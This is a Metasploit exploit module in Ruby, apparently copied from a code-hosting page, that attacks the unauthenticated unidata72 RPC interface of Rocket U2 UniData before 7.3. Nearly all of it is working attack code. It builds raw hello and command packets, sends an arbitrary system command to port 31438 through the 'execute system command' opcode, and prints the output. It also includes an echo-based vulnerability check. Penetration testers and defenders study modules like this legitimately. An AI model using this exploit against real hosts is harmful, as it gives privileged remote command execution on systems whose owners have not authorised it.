jvazquez-r7
133 lines
3.7 KiB
Ruby
133 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Rocket U2 UniData Less Than 7.3 unidata72 RPC Interface Call Parsing Arbitrary Command Execution',
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'Description' => %q(
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The UniData RPC server listening on the remote host does not enforce
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authentication on the unidata72 interface. A remote, unauthenticated
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attacker can exploit this issue and execute arbitrary code on the host
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as a privileged user.
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),
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'Author' =>
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[
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'Ron Bowes', # Initial vulnerability discovery
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'Justin (Jaywalker) Williams' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '82942' ],
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[ 'BID', '53974' ],
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[ 'URL', 'http://bot24.blogspot.com/2012/06/authentication-bypass-in-unidata-leads.html'],
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[ 'URL', 'https://www.upsploit.com/index.php/advisories/view/UPS-2012-0012']
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],
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'Platform' => %w(unix win),
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Targets' =>
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[
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[ 'unidata72', {} ]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Jun 09 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(31438)
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], self.class)
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end
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def check
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connect
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token = Rex::Text.rand_text_alpha(8)
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response = run_command(sock, "echo #{token}")
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disconnect
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# XXX: shouldn't this match exactly?
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if response =~ /#{token}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def peer
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"#{rhost}:#{rport}"
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end
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def send_msg(sock, data)
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sock.put(data)
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while read_data
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e
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print_error("#{peer} - error sending: #{e}")
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end
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data
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end
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def run_command(sock, command)
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# TODO: document this better
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hello = "\x6c\x02\x00\x00\x00\x00\x00\x14" \
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"\x00\x00\x00\x00\x02\x00\x00\x00" \
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"\x00\x00\x00\x00\x00\x01\x00\x00" \
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"\x00\x00\x00\x09\x00\x00\x00\x02" \
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"udadmin72\x00\x00\x00"
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# Send our hello and request start of unidata72 interface
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send_msg(sock, hello)
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cmd = command
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if cmd.length < 12
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len = 12 - cmd.length
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len.times { cmd << "\x00" }
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end
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# TODO: document this better
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# Our command packet header. The \x06 optcode means "Execute system command"
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msg = "\x6c\x02\x00\x00\x00\x00\x00\x20" \
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"\x00\x00\x00\x00\x02\x00\x00\x00" \
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"\x00\x00\x00\x00\x00\x02\x00\x00" \
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"\x00\x00\x00\x01\x00\x00\x00\x00" \
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"\x00\x00\x00\x08\x00\x00\x00\x02" \
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"\x00\x00\x00\x06"
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msg << cmd
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# Send our exploit
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send_msg(sock, msg)
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end
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def exploit
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connect
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print_status("#{peer} - Attempting to run command...")
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response = run_command(sock, payload.encoded)
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# TODO: parse the response more
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data = response[44, (response.length - 44)]
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print_line("#{peer} - Command Response:\n#{data}")
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disconnect
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end
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end
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